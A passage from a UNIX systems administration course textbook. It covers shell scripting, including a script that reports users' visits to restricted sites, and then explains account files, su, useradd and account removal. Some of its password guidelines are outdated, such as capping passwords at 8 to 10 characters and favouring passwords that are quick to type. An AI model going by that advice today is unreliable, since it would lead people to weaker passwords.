USERS) getUserList ;;
HOSTS) getAccessCount ;;
*) echo "Unknown command $theAction" ;;
esac

#---- Main

if [ "$1" = "" ]
then
echo "No unit specified"
exit 1
fi

UNIT=$1

# Remove $1 from the parm line

shift

# Find all the entries we're interested in

grep "/pub/$UNIT" $LOGFILE > $TEMPFILE

# Right - for every parameter on the command line, we perform some

for ACTION in $@
do
process_action "$ACTION"
done

# Remove Temp file

rm $TEMPFILE

# We're finished!

Final notes
Throughout this chapter we have examined shell programming concepts including:
 variables
 comments
 condition statements
 repeated action commands
 functions
 recursion
 traps
 efficiency, and
 structure

David Jones and Bruce Jamieson (2/20/25) Page 221

85321, Systems Administration Chapter 8: Shell Programming

Be aware that different shells support different syntax - this chapter has dealt with
bourne shell programming only. As a final issue, you should at some time examine
the Perl programming language as it offers the full functionality of shell programming
but with added, compiled-code like features - it is often useful in some of the more
complex system administration tasks.

David Jones and Bruce Jamieson (2/20/25) Page 222

 85321, Systems Administration Chapter 8: Shell Programming

Review Questions

8.1

Write a function that equates the username in the scanit

program with the user's full name and contact details from the
/etc/passwd file. Modify scanit so its output looks
something like:

*** Restricted Site Report ***

The following is a list of prohibited sites, users who have

visited them and on how many occasions

Bruce Jamieson x9999 mucus.slime.com 3

Elvira Tonsloy x1111 mucus.slime.com 1
Elvira Tonsloy x1111 xboys.funnet.com.fr 3
Elvira Tonsloy x1111 warez.under.gr 1

(Hint: the fifth field of the passwd file usually contains the full name and phone
extension (sometimes))

8.2
Modify scanit so it produces a count of unique user/badsite combinations like the
following:

*** Restricted Site Report ***

The following is a list of prohibited sites, users who have

visited them and on how many occasions

Bruce Jamieson x9999 mucus.slime.com 3

Elvira Tonsloy x1111 mucus.slime.com 1
Elvira Tonsloy x1111 xboys.funnet.com.fr 3
Elvira Tonsloy x1111 warez.under.gr 1

4 User/Site combinations detected.

8.3

Modify scanit so it produces a message something like:

David Jones and Bruce Jamieson (2/20/25) Page 223

 85321, Systems Administration Chapter 8: Shell Programming

There were no users found accessing prohibited sites!

if there were no user/badsite combinations.

David Jones and Bruce Jamieson (2/20/25) Page 224

 85321, Systems Administration Chapter 8: Shell Programming

Source of scanit
#!/bin/bash
#
# AUTHOR: Bruce Jamieson
# DATE: Feb 1997
# PROGRAM: scanit
# PURPOSE: Program to analyse the output from a network
# monitor. "scanit" accepts a list of users to
# and a list of "restricted" sites to compare
# with the output from the network monitor.
#
# FILES: scanit shell script
# netwatch output from network monitor
# netnasties restricted site file
#
# NOTES: This is a totally made up example - the names
# of persons or sites used in data files are
# not in anyway related to reality - any
# similarity is purely coincidental :)
#
# HISTORY: bleak and troubled :)
#

checkfile()
{
# Goes through the netwatch file and saves user/site
# combinations involving sites that are in the "restricted"
# list

while read buffer

do
username=`echo $buffer | cut -d" " -f1`
site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g`
for checksite in $badsites
do
checksite=`echo $checksite | sed s/\\\.//g`
# echo $checksite $site
if [ "$site" = "$checksite" ]
then
usersite="$username$checksite"
if eval [ \$$usersite ]
then
eval $usersite=\`expr \$$usersite + 1\`
else
eval $usersite=1
fi
fi
done
done < netwatch

David Jones and Bruce Jamieson (2/20/25) Page 225

 85321, Systems Administration Chapter 8: Shell Programming

produce_report()
{
# Goes through all possible combinations of users and
# restricted sites - if a variable exists with the combination,
# it is reported
for user in $*
do
for checksite in $badsites
do
writesite=`echo $checksite`
checksite=`echo $checksite | sed s/\\\.//g`
usersite="$user$checksite"
if eval [ \$$usersite ]
then
eval echo "$user: $writesite \$$usersite"
usercount=`expr $usercount + 1`
fi
done
done
}

get_passwd_users()
{
# Creates a user list based on the /etc/passwd file

while read buffer

do
username=`echo $buffer | cut -d":" -f1`
the_user_list=`echo $username $the_user_list`
done < /etc/passwd
}

check_data_files()
{
if [ -r netwatch -a -r netnasties ]
then
return 0
else
return 1
fi
}

# Main Program
# Uncomment the next line for debug mode
#set -x

if check_data_files
then
echo "Datafiles found"
else

David Jones and Bruce Jamieson (2/20/25) Page 226

 85321, Systems Administration Chapter 8: Shell Programming

echo "One of the datafiles missing - exiting"

exit 1
fi

usercount=0
badsites=`cat netnasties`

if [ $1 ]
then
the_user_list=$*
else
get_passwd_users
fi
echo
echo "*** Restricted Site Report ***"
echo
echo The following is a list of prohibited sites, users who have
echo visited them and on how many occasions
echo
checkfile
produce_report $the_user_list
echo
if [ $usercount -eq 0 ]
then
echo "There were no users found accessing prohibited sites!"
else
echo "$usercount prohibited user/site combinations found."
fi
echo
echo

# END scanit

David Jones and Bruce Jamieson (2/20/25) Page 227

85321, Systems Administration Chapter 9: Users

Chapter 9
Users

Introduction
Before anyone can use your system they must have an account. This chapter examines
user accounts and the responsibilities of the Systems Administrators with regards to
accounts. By the end of this chapter you should
 be aware of the process involved in creating and removing user accounts,
 be familiar with the configuration files that UNIX uses to store information about
accounts,
 know what information you must have to create an account,
 understand the implications of choosing particular usernames, user ids and
passwords,
 be aware of special accounts including the root account and the implications of
using the root account,
 have been introduced to a number of public domain tools that help with account
management.

What is a UNIX account?

A UNIX account is a collection of logical characteristics that specify who the user is,
what the user is allowed to do and where the user is allowed to do it. These
characteristics include a
 login (or user) name,
 password,
 numeric user identifier or UID,
 a default numeric group identifier or GID,
Many accounts belong to more than one group but all accounts have one default
group.
 home directory,
 login shell,
 possibly a mail alias,
 mail file, and
 collection of startup files.

Login names

David Jones, Bruce Jamieson (2/20/25) Page 228

85321, Systems Administration Chapter 9: Users

The account of every user is assigned a unique login (or user) name. The username
uniquely identifies the account for people. The operating system uses the user
identifier number (UID) to uniquely identify an account. The translation between UID
and the username is carried out reading the /etc/passwd file (/etc/passwd is
introduced below).

Login name format

On a small system, the format of login names is generally not a problem since with a
small user population it is unlikely that there will be duplicates. However on a large
site with hundreds or thousands of users and multiple computers, assigning a login
name can be a major problem. With a larger number of users it is likely that you may
get a number of people with names like David Jones, Darren Jones.
The following is a set of guidelines. They are by no means hard and fast rules but
using some or all of them can make life easier for yourself as the Systems
Administrator, or for your users.
 unique
This means usernames should be unique not only on the local machine but also
across different machines at the same site. A login name should identify the same
person and only one person on every machine on the site. This can be very hard to
achieve at a site with a large user population especially if different machines have
different administrators.

The reason for this guideline is that under certain circumstances it is possible for
people with the same username to access accounts with the same username on
different machines.
 up to 8 characters
UNIX will ignore or disallow login names that are longer. Dependent on which
platform you are using.
 Lowercase
Numbers and upper case letters can be used. Login names that are all upper case
should be avoided as some versions of UNIX can assume this to mean your
terminal doesn't recognise lower case letters and every piece of text subsequently
sent to your display is in uppercase.
 Easy to remember
A random sequence of letters and numbers is hard to remember and so the user
will be continually have to ask the Systems Administrator "what's my username?"
 No nicknames
A username will probably be part of an email address. The username will be one
method by which other users identify who is on the system. Not all the users may
know the nicknames of certain individuals.
 A fixed format
There should be a specified system for creating a username. Some combination of

David Jones, Bruce Jamieson (2/20/25) Page 229

85321, Systems Administration Chapter 9: Users

first name, last name and initials is usually the best. Setting a policy allows you to
automate the procedure of adding new users. It also makes it easy for other users
to work out what the username for a person might be.

David Jones, Bruce Jamieson (2/20/25) Page 230

85321, Systems Administration Chapter 9: Users

Passwords

An account's password is the key that lets someone in to use the account. A password
should be a secret collection of characters known only by the owner of the account.
Poor choice of passwords is the single biggest security hole on any multi-user
computer system. As a Systems Administrator you should follow a strict set of
guidelines for passwords (after all if someone can break the root account's password,
your system is going bye, bye). In addition you should promote the use of these
guidelines amongst your users.

Password guidelines

An example set of password guidelines might include

 use combinations of upper and lower case characters, numbers and punctuation
characters,
 don't use random combinations of characters if they break the following two rules,
 be easy to remember,
If a user forgets their password they can't use the system and guess whom they
come and see. Also the user SHOULD NOT have to write their password down.
 be quick to type,
One of the easiest and most used methods for breaking into a system is simply
watching someone type in their password. It is harder to do if the password is
typed in quickly.
 a password should be at least 6 characters long,
The shorter a password is the easier it is to break. Some systems will not allow
passwords shorter than a specified length.
 a password should not be any longer than 8 to 10 characters,
Most systems will look as if they are accepting longer passwords but they simply
ignore the extra characters. The actual size is system specific but between eight
and ten characters is generally the limit.
 do not use words from ANY language,
Passwords that are words can be cracked (you'll see how later).
 do not use combinations of just words and numbers,
Passwords like hello1 are just as easy to crack as hello.
 use combinations of words separated by punctuation characters or acronyms of
uncommon phrases/song lines,
They should be easy to remember but hard to crack. e.g. b1gsh1p
 change passwords regularly,
Not too often that you forget which password is currently set.
 never reuse passwords.

David Jones, Bruce Jamieson (2/20/25) Page 231

85321, Systems Administration Chapter 9: Users

The UID
Every account on a UNIX system has a unique user or login name that is used by users
to identify that account. The operating system does not use this name to identify the
account. Instead each account must be assigned a unique user identifier number (UID)
when it is created. The UID is used by the operating system to identify the account.

UID guidelines
In choosing a UID for a new user there are a number of considerations to take into
account including
 choose a UID number between 100 and 32767 (or 60000),
Numbers between 0 and 99 are reserved by some systems for use by system
accounts. Different systems will have different possible maximum values for UID
numbers. Around 32000 and 64000 are common upper limits.
 UIDs for a user should be the same across machines,
Some network systems (e.g. NFS) require that users have the same UID across all
machines in the network. Otherwise they will not work properly.
 you may not want to reuse a number.
Not a hard and fast rule. Every file is owned by a particular user id. Problems arise
where a user has left and a new user has been assigned the UID of the old user.
What happens when you restore from backups some files that were created by the
old user? The file thinks the user with a particular UID owns it. The new user will
now own those files even though the username has changed.

Home directories
Every user must be assigned a home directory. When the user logs in it is this home
directory that becomes the current directory. Typically all user home directories are
stored under the one directory. Many modern systems use the directory /home. Older
versions used /usr/users. The names of home directories will match the username
for the account.

For example, a user jonesd would have the home directory /home/jonesd
In some instances it might be decided to further divide users by placing users from
different categories into different sub-directories.
For example, all staff accounts may go under /home/staff while students are placed
under /home/students. These separate directories may even be on separate partitions.

David Jones, Bruce Jamieson (2/20/25) Page 232

 85321, Systems Administration Chapter 9: Users

Login shell

Every user account has a login shell. A login shell is simply the program that is
executed every time the user logs in. Normally it is one of the standard user shells
such as Bourne, csh, bash etc. However it can be any executable program.
One common method used to disable an account is to change the login shell to the
program /bin/false. When someone logs into such an account /bin/false is
executed and the login: prompt reappears.

Dot files

A number of commands, including vi, the mail system and a variety of shells, can be
customised using dot files. A dot file is usually placed into a user's home directory and
has a filename that starts with a . (dot). This files are examined when the command is
first executed and modifies how it behaves.
Dot files are also known as rc files. As you should've found out by doing one of the
exercises from the previous chapter rc is short for "run command" and is a left over
from an earlier operating system.

Commands and their dot files

Table 9.1 summarises the dot files for a number of commands. The FAQs for the
newsgroup comp.unix.questions has others.
Filename Command Explanation
XE /bin/csh Executed every time C shell started.
"~/.cshrc"~/.cshrc
XE /bin/csh Executed after .cshrc when logging in with
"~/.login"~/.login C shell as the login shell.
XE /bin/sh Executed during the login of every user that
"/etc/profile"/etc/ uses the Bourne shell or its derivatives.
profile
XE /bin/sh Located in user's home directory. Executed
"~/.profile"~/.pro whenever the user logs in when the Bourne
file shell is their login shell
XE /bin/csh executed just prior to the system logging the
"~/.logout"~/.logo user out (when the csh is the login shell)
ut
XE /bin/bash executed just prior to the system logging the
"~/.bash_logout"~/ user out (when bash is the login shell)
.bash_logout
XE /bin/bash records the list of commands executed using

David Jones, Bruce Jamieson (2/20/25) Page 233

 85321, Systems Administration Chapter 9: Users

"~/.bash_history"~/ the current shell

.bash_history
XE incoming mail Used to forward mail to another address or a
"~/.forward"~/.fo command
rward
XE vi used to set options for use in vi
"~/.exrc"~/.exrc
Ta b l e 9 . 1
Dot files

Shell dot files

These shell dot files, particularly those executed when a shell is first executed, are
responsible for
 setting up command aliases,
Some shells (e.g. bash) allow the creation of aliases for various commands. A
common command alias for old MS-DOS people is dir, usually set to mean the
same as ls -l.
 setting values for shell variables like PATH and TERM.

Skeleton directories

Normally all new users are given the same startup files. Rather than create the same
files from scratch all the time, copies are usually kept in a directory called a skeleton
directory. This means when you create a new account you can simply copy the startup
files from the skeleton directory into the user's home directory.
The standard skeleton directory is /etc/skel. It should be remembered that the files
in the skeleton directory are dot files and will not show up if you simply use ls
/etc/skel. You will have to use the -a switch for ls to see dot files.

Exercises

9.1 Examine the contents of the skeleton directory on your system (if you have
one). Write a command to copy the contents of that directory to another.
Hint: It's harder than it looks.
9.2 Use the bash dot files to create an alias dir that performs the command ls -
al

The mail file

When someone sends mail to a user that mail message has to be stored somewhere so
that it can be read. Under UNIX each user is assigned a mail file. All user mail files

David Jones, Bruce Jamieson (2/20/25) Page 234

 85321, Systems Administration Chapter 9: Users

are placed in the same directory. When a new mail message arrives it is appended onto
the end of the user's mail file.
The location of this directory can change depending on the operating system being
used. Common locations are
 /usr/spool/mail,
 /var/spool/mail,
This is the standard Linux location.
 /usr/mail
 /var/mail.

All mail in the one location

On some sites it is common for users to have accounts on a number of different

computers. It is easier if all the mail for a particular user goes to the one location. This
means that a user will choose one machine as their mail machine and want all their
email forwarded to their account on that machine.
There are at least two ways by which mail can be forwarded
 the user can create a .forward file in their home directory (see Table 7.1), or
 the administrator can create an alias.

Mail aliases

If you send an e-mail message that cannot be delivered (e.g. you use the wrong
address) typically the mail message will be forwarded to the postmaster of your
machine. There is usually no account called postmaster (though recent distributions
of Linux do). postmaster is a mail alias.
When the mail delivery program gets mail for postmaster it will not be able to find a
matching username. Instead it will look up a specific file, usually /etc/aliases or
/etc/mail/names (Linux uses /etc/aliases). This file will typically have an entry
like
postmaster: root
This tells the delivery program that anything addressed postmaster should actually
be delivered to the user root.

Site aliases

Some companies will have a set policy for e-mail aliases for all staff. This means that
when you add a new user you also have to update the aliases file.

For example

David Jones, Bruce Jamieson (2/20/25) Page 235

85321, Systems Administration Chapter 9: Users

The Central Queensland University has aliases set up for all staff. An e-mail with an
address using the format [email protected] will be delivered to that
staff member's real mail address.
In my case the alias is [email protected]. The main on-campus mail host has an
aliases file that translates this alias into my actual e-mail address
[email protected].

Linux mail

The following exercise requires that you have mail delivery working on your system.
You can test whether or not email is working on your system by starting one of the
provided email programs (e.g. elm) and send yourself an email message. You do this
by using only your username as the address (no @). If it isn't working, refer to the
documentation from RedHat on how to get email functioning.

Exercises

9.3 Send a mail message from the root user to your normal user account using a
mail program of your choice.
9.4 Send a mail message from the root user to the address notHere. This mail
message should bounce (be unable to be delivered). You will get a returned
mail message. Have a look at the mail file for postmaster. Has it increased?
9.5 Create an alias for notHere and try the above exercise again. If you have
installed sendmail, the following steps should create an alias
- login as root,
- add a new line containing notHere: root in the file /etc/aliases
- run the command newaliases

Account configuration files

Most of the characteristics of an account mentioned above are stored in two or three
configuration files. All these files are text files, each account has a one-line entry in
the file with each line divided into a number of fields using colons.
Table 9.2. lists the configuration files examined and their purpose. Not all systems will
have the /etc/shadow file. By default Linux doesn't however it is possible to install
the shadow password system. On some platforms the shadow file will exist but its
filename will be different.

File Purpose
XE "/etc/passwd"/etc/passwd the password file, holds most of an
account characteristics including

David Jones, Bruce Jamieson (2/20/25) Page 236

85321, Systems Administration Chapter 9: Users

username, UID, GID, GCOS

information, login shell, home directory
and in some cases the password
XE "/etc/shadow"/etc/shadow the shadow password file, a more secure
mechanism for holding the password,
common on more modern systems
XE "/etc/group"/etc/group the group file, holds characteristics about
a system's groups including group name,
GID and group members
Ta b l e 9 . 2
Account configuration files

David Jones, Bruce Jamieson (2/20/25) Page 237

85321, Systems Administration Chapter 9: Users

/etc/passwd

/etc/passwd is the main account configuration file. Table 9.3 summarises each of the
fields in the /etc/passwd file. On some systems the encrypted password will not be
in the passwd file but will be in a shadow file.
Field Name Purpose
login name the user's login name
encrypted password * encrypted version of the user's password
UID number the user's unique numeric identifier
default GID the user's default group id
GCOS information no strict purpose, usually contains full
name and address details, sometimes
called the comment field
home directory the directory in which the user is placed
when they log in
login shell the program that is run when the user
logs in
* not on systems with a shadow password file

Ta b l e 9 . 3
/etc/passwd

Exercises

9.6 Examine your account's entry in the /etc/passwd field. What is your UID,
GID? Where is your home directory and what is your login shell?

Everyone can read /etc/passwd

Every user on the system must be able to read the /etc/passwd file. This is because
many of the programs and commands a user executes must access the information in
the file. For example, when you execute the command ls -l command part of what
the command must do is translate the UID of the file's owner into a username. The
only place that information is stored is in the /etc/passwd file.

This is a problem

Since everyone can read the /etc/passwd file they can also read the encrypted
password.
The problem isn't that someone might be able to decrypt the password. The method
used to encrypt the passwords is supposedly a one way encryption algorithm. You
aren't supposed to be able to decrypt the passwords.

David Jones, Bruce Jamieson (2/20/25) Page 238

85321, Systems Administration Chapter 9: Users

Password matching

The way to break into a UNIX system is to obtain a dictionary of words and encrypt
the whole dictionary. You then compare the encrypted words from the dictionary with
the encrypted passwords. If you find a match you know what the password is.
Studies have shown that with a carefully chosen dictionary, between 10-20% of
passwords can be cracked on any machine. Later in this chapter you'll be shown a
program that can be used by the Systems Administrator to test users' passwords.
An even greater problem is the increasing speed of computers. One modern super
computer is capable of performing 424,400 encryptions a second. This means that all
six-character passwords can be discovered in two days and all seven-character
passwords within four months.

The solution

The solution to this problem is to not store the encrypted password in the
/etc/passwd file. Instead it should be kept in another file that only the root user can
read. Remember the passwd program is setuid root.
This other file in which the password is stored is usually referred to as the shadow
password file. It can be stored in one of a number of different locations depending on
the version of UNIX you are using. A common location, and the one used by the Linux
shadow password suite, is /etc/shadow.

Shadow file format

Typically the shadow file consists of one line per user containing the encrypted
password and some additional information including
 username,
 the date the password was last changed,
 minimum number of days before the password can be changed again,
 maximum number of days before the password must be changed,
 number of days until age warning is sent to user,
 number of days of inactivity before account should be removed,
 absolute date on which the password will expire.
The additional information is used to implement password aging. This will be
discussed later in the security chapter.

David Jones, Bruce Jamieson (2/20/25) Page 239

85321, Systems Administration Chapter 9: Users

Groups
A group is a logical collection of users. Users with similar needs or characteristics are
usually placed into groups. A group is a collection of user accounts that can be given
special permissions. Groups are often used to restrict access to certain files and
programs to everyone but those within a certain collection of users.

/etc/group

The /etc/group file maintains a list of the current groups for the system and the users
that belong to each group. The fields in the /etc/group file include
 the group name,
A unique name for the group.
 an encrypted password (this is rarely used today) ,
 the numeric group identifier or GID, and
 the list of usernames of the group members separated by commas.

For example

On the Central Queensland University UNIX machine jasper only certain users are
allowed to have full Internet access. All these users belong to the group called angels.
Any program that provides Internet access has as the group owner the group angels
and is owned by root. Only members of the angels group or the root user can
execute these files.

The default group

Every user is the member of at least one group sometimes referred to as the default
group. The default group is specified by the GID specified in the user's entry in the
/etc/passwd file.

Since the default group is specified in /etc/passwd it is not necessary for the
username to be added to the /etc/group file for the default group.

Other groups

A user can in fact be a member of several groups. Any extra groups the user is a
member of are specified by entries in the /etc/group file.
It is not necessary to have an entry in the /etc/group file for the default group.
However if the user belongs to any other groups they must be added to the
/etc/group file.

David Jones, Bruce Jamieson (2/20/25) Page 240

85321, Systems Administration Chapter 9: Users

Special accounts
All UNIX systems come with a number of special accounts. These accounts already
exist and are there for a specific purpose. Typically these accounts will all have UIDs
that are less than 100 and are used to perform a variety of administrative duties. Table
9.4. lists some of the special accounts that may exist on a machine.

Username UID Purpose

root 0 The super user account.
Used by the Systems
Administrator to perform
a number of tasks. Can do
anything. Not subject to
any restrictions
daemon 1 Owner of many of the
system daemons
(programs that run in the
background waiting for
things to happen).
bin 2 The owner of many of the
standard executable
programs
Ta b l e 9 . 4
Special accounts

root

The root user, also known as the super user is probably the most important account
on a UNIX system. This account is not subject to the normal restrictions placed on
standard accounts. It is used by the Systems Administrator to perform administrative
tasks that can't be performed by a normal account.

Restricted actions

Some of the actions for which you'd use the root account include
 creating and modifying user accounts,
 shutting the system down,
 configuring hardware devices like network interfaces and printers,
 changing the ownership of files,
 setting and changing quotas and priorities, and
 setting the name of a machine.

David Jones, Bruce Jamieson (2/20/25) Page 241

85321, Systems Administration Chapter 9: Users

Be careful

You should always be careful when logged in as root. When logged in as root you
must know what every command you type is going to do. Remember the root
account is not subject to the normal restrictions of other accounts. If you execute a
command as root it will be done, whether it deletes all the files on your system or
not.

The mechanics
Adding a user is a fairly mechanical task that is usually automated either through shell
scripts or on many modern systems with a GUI based program. However it is still
important that the Systems Administrator be aware of the steps involved in creating a
new account. If you know how it works you can fix any problems which occur.
The steps to create a user include
 adding an entry for the new user to the /etc/passwd file,
 setting an initial password,
 adding an entry to the /etc/group file,
 creating the user's home directory,
 creating the user's mail file or setting a mail alias,
 creating any startup files required for the user,
 testing that the addition has worked, and
 possibly sending an introductory message to the user.

Other considerations
This chapter talks about account management which includes the mechanics of adding
a new account. User management is something entirely different. When adding a new
account, user management tasks that are required include
 making the user aware of the site's policies regarding computer use,
 getting the user to sign an "acceptable use" form,
 letting the user know where and how they can find information about their system,
and
 possibly showing the user how to work the system.
These tasks are covered in the following chapter.

Pre-requisite Information

Before creating a new user there is a range of information that you must know
including

David Jones, Bruce Jamieson (2/20/25) Page 242

85321, Systems Administration Chapter 9: Users

 the username format being used at your site,

Are you using djones jonesdd david jones or perhaps you're using student or
employee numbers for usernames.
 the user's name and other person information,
Phone number, are they a computing person, someone from sales?
 where the user's home directory will be,
 will this user need a mail file on this machine or should there be an alias set up,
 startup shell,
 startup files,
 UID and GID.
Again there should be some site wide standard for this.

Adding an /etc/passwd entry

For every new user, an entry has to be added to the /etc/passwd file. There are a
variety of methods by which this is accomplished including
 using an editor,
This is a method that is often used. However it can be unsafe and it is generally not
a good idea to use it.
 the command vipw, or
Some systems (usually BSD based) provide this command. vipw invokes an editor
so the Systems Administrator can edit the passwd file safely. The command
performs some additional steps that ensures that the editing is performed
consistently. Some distributions of Linux supply vipw.
 a dedicated adduser program.
Many systems, Linux included, provide a program (the name will change from
system to system) that accepts a number of command-line parameters and then
proceeds to perform many of the steps involved in creating a new account. The
Linux command is called adduser

The initial password

NEVER LEAVE THE PASSWORD FIELD BLANK.

If you are not going to set a password for a user put a * in the password field of
/etc/passwd or the /etc/shadow file. On most systems, the * character is considered
an invalid password and it prevents anyone from using that account.
If a password is to be set for the account then the passwd command must be used. The
user should be forced to immediately change any password set by the Systems
Administrator

/etc/group entry

David Jones, Bruce Jamieson (2/20/25) Page 243

85321, Systems Administration Chapter 9: Users

While not strictly necessary, the /etc/group file should be modified to include the
user's login name in their default group. Also if the user is to be a member of any other
group they must have an entry in the /etc/group file.
Editing the /etc/group file with an editor should be safe.

David Jones, Bruce Jamieson (2/20/25) Page 244

 85321, Systems Administration Chapter 9: Users

The home directory

Not only must the home directory be created but the permissions also have to be set
correctly so that the user can access the directory.
The permissions of a home directory should be set such that
 the user should be the owner of the home directory,
 the group owner of the directory should be the default group that the user belongs
to,
 at the very least, the owner of the directory should have rwx permissions, and
 the group and other permissions should be set as restrictively as possible.

The startup files

Once the home directory is created the startup files can be copied in or created. Again
you should remember that this will be done as the root user and so root will own the
files. You must remember to change the ownership.

For example

The following is example set of commands that will perform these tasks.
mkdir home_directory
cp -pr /etc/skel/.[a-zA-Z]* home_directory
chown -R login_name home_directory
chgrp -R group_name home_directory
chmod -R 700 home_directory

Setting up mail

A new user will either

 want to read their mail on this machine, or
 want to read their mail on another machine.
The user's choice controls how you configure the user's mail.

A mail file

If the user is going to read their mail on this machine then you must create them a mail
file. The mail file must go in a standard directory (usually /var/spool/mail under
Linux). As with home directories it is important that the ownership and the
permissions of a mail file be set correctly. The requirements are
 the user must be able to read and write the file,
After all, the user must be able to read and delete mail messages.

David Jones, Bruce Jamieson (2/20/25) Page 245

 85321, Systems Administration Chapter 9: Users

 the group owner of the mail file should be the group mail and the group should be
able to read and write to the file,
The programs that deliver mail are owned by the group mail. These programs
must be able to write to the file to deliver the user's mail.
 no-one else should have any access to the file,
No-one wants anyone else peeking at their private mail.

Mail aliases and forwards

If the user's main mail account is on another machine, any mail that is sent to this
machine should be forwarded to the appropriate machine. There are two methods
 a mail alias, or
 a file ~/.forward
Both methods achieve the same result. The main difference is that the user can change
the .forward file if they wish to. They can't modify a central alias.

Testing an account
Once the account is created, at least in some instances, you will want to test the
account creation to make sure that it has worked. There are at least two methods you
can use
 login as the user
 use the su command.

The su command

The su command is used to change from one user account to another. To a certain
extent it acts like logging in as the other user. The standard format is su username.
[david@beldin david]$ su
Password:
Time to become the root user. su without any parameter lets you become the root
user, as long as you know the password. In the following the id command is used
to prove that I really have become the root user. You'll also notice that the prompt
displayed by the shell has changed as well. In particular notice the # character,
commonly used to indicate a shell with root permission.

[root@beldin david]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beldin david]# pwd
/home/david
Another point to notice is that when you don't use the "–" argument for su all that has
changed is user and group ids. The current directory doesn't change.

David Jones, Bruce Jamieson (2/20/25) Page 246

 85321, Systems Administration Chapter 9: Users

[root@beldin david]# cd /
[root@beldin /]# pwd
/
[root@beldin /]# su david
[david@beldin /]$ pwd
/
[david@beldin /]$ exit
However, when you do use the "–" argument of the su command, it simulates a full
login. This means that any startup files are executed and that the current directory
becomes the home directory of the user account you "are becoming". This is
equivalent to logging in as the user.

[root@beldin /]# su – david

[david@beldin david]$ pwd
/home/david

If you run su as a normal user you will have to enter the password of the user you are
trying to become. If you don't specify a username you will become the root user (if
you know the password).

The "–" switch

The su command is used to change from one user to another. By default, su david
will change your UID and GID to that of the user david (if you know the password)
but won't change much else. Using the - switch of su it is possible to simulate a full
login including execution of the new user's startup scripts and changing to their home
directory.

su as root

If you use the su command as the root user you do not have to enter the new user's
password. su will immediately change you to the new user. su especially with the -
switch is useful for testing a new account.

Exercises

9.7Login as yourself and perform the following steps

- show your current directory (use the pwd command),
- show you current user id and group id (use the id command),
- use su to become the root user,
- repeat the first two steps
- use the command "su –" to simulate a full login as the root user,
- repeat the first two steps
What's the difference between using su and su -?

David Jones, Bruce Jamieson (2/20/25) Page 247

85321, Systems Administration Chapter 9: Users

Inform the user

Lastly you should inform the user of their account details. Included in this should be
some indication of where they can get assistance and some pointers on where to find
more documentation.

Exercises

9.8 By hand, create a new account for a user called David Jones.

Removing an account
Deleting an account involves reversing the steps carried out when the account was
created. It is a destructive process and whenever something destructive is performed,
care must always be taken. The steps that might be carried out include
 disabling the account,
 backing up and removing the associated files
 setting up mail forwards.
Situations under which you may wish to remove an account include
 as punishment for a user who has broken the rules, or
In this situation you may only want to disable the account rather than remove it
completely.
 an employee has left.

Disabling an account

Disabling an account ensures that no-one can login but doesn't delete the contents of
the account. This is a minimal requirement for removing an account. There are two
methods for achieving this
 change the login shell, or
Setting the login shell to /bin/false will prevent logins. However it may still be
possible for the user to receive mail through the account using POP mail programs
like Eudora.
 change the password.
The * character is considered by the password system to indicate an illegal password.
One method for disabling an account is to insert a * character into the password field.
If you want to re-enable the account (with the same password) simply remove the *.
Another method is to simply remove the entry from the /etc/passwd and
/etc/shadow files all together.

Backing up

David Jones, Bruce Jamieson (2/20/25) Page 248

85321, Systems Administration Chapter 9: Users

It is possible that this user may have some files that need to be used by other people.
So back everything up, just in case.

Remove the user's files

All the files owned by the account should be removed from whereever they are in the
file hierarchy. It is unlikely for a user to own files that are located outside of their
home directory (except for the mail file). However it is a good idea to search for them.
Another use for the find command.

David Jones, Bruce Jamieson (2/20/25) Page 249

 85321, Systems Administration Chapter 9: Users

Mail for old users

On some systems, even if you delete the user's mail file, mail for that user can still
accumulate on the system. If you delete an account entirely by removing it from the
password field, any mail for that account will bounce.
In most cases, a user who has left will want their mail forwarded onto a new account.
One solution is to create a mail alias for the user that points to their new address.

The Goals of Account Creation

As mentioned previously there is little point in adding users manually. It is a simple
task which can be quite easily automated. This section looks at some of the tools you
can use to automate this task.
There are at least three goals a Systems Administrator will want to achieve with
adding users
 make it as simple as possible
 automate the addition of large numbers of users
 delegate the task of adding users to someone else
The following sections will show you the tools which will allow you to achieve these
goals.

Making it simple
If you’ve completed exercise 9.9 you should by now be aware of what a straight
forward, but time consuming, task creating a new user account is. Creating an
account manually might be okay for one or two accounts but adding 100 this way
would get quite annoying. Luckily there are a number of tools which make this
process quite simple.

useradd

useradd is an executable program which significantly reduces the complexity of

adding a new user. A solution to the previous exercise using useradd looks like
this

useradd –c "David Jones" david

useradd will automatically create the home directory and mail file, copy files from
skeleton directories and a number of other tasks. Refer to the useradd man page
for more information.

David Jones, Bruce Jamieson (2/20/25) Page 250

85321, Systems Administration Chapter 9: Users

userdel and usermod

userdel is the companion command to useradd and as the name suggests it

deletes or removes a user account from the system. usermod allows a Systems
Administrator to modify the details of an existing user account.

Graphical Tools
RedHat Linux provides a number of tools with graphical user interfaces to help both
the Systems Administrator and the normal user. Tools such as userinfo and
userpasswd allow normal users to modify their user accounts. RedHat also
provides a command called control-panel which provides a graphical user
interface for a number of Systems Administration related tasks including user
management.
control-panel is in fact just a simple interface to run a number of other programs
which actually perform the tasks. For example, to perform the necessary user
management tasks control-panel will run the command usercfg. Diagram
9.1 provides examples of the interface provided by the usercfg command.

Diagram 9.1
usercfg interface

Throughout this text we will be referring to a public domain Systems Administration

tool called Webmin (http://www.webmin.com). Webmin provides a Web-based
interface to a number of standard Systems Administration tasks including user
management. Diagram 9.2 displays the Webmin web page for creating a new user
account. The major advantage of a tool like Webmin is that it uses the Web. This
means it has all the benefits of the Web including the fact that it can be used from
anywhere that you have a Web connection.

David Jones, Bruce Jamieson (2/20/25) Page 251

85321, Systems Administration Chapter 9: Users

Diagram
9.2
Webmin
user creation
interface

Exercises

9.9 The 85321 Website and CD-ROM contains a copy of Webmin (and also pointers
to the
Webmin
home page
for later
versions).
Install a copy
of Webmin
onto your
system and
use it to
create a new
user account.

Automation
Tools with a graphical user interface are nice and simple for creating one or two users.
However, when you must create hundreds of user accounts, they are a pain. In
situations like this you must make use of a scripting language to automate the process.
The process of creating a user account can be divided into the following steps
 gathering the appropriate information,
 deciding on policy for usernames, passwords etc,
 creating the accounts,
 performing any additional special steps.
The steps in this process are fairly general purpose and could apply in any situation
requiring the creation of a large number of user accounts, regardless of the operating
system.

Gathering the information

The first part of this chapter described the type of information that is required in order
to create a UNIX user account. When automating the large scale creation of user
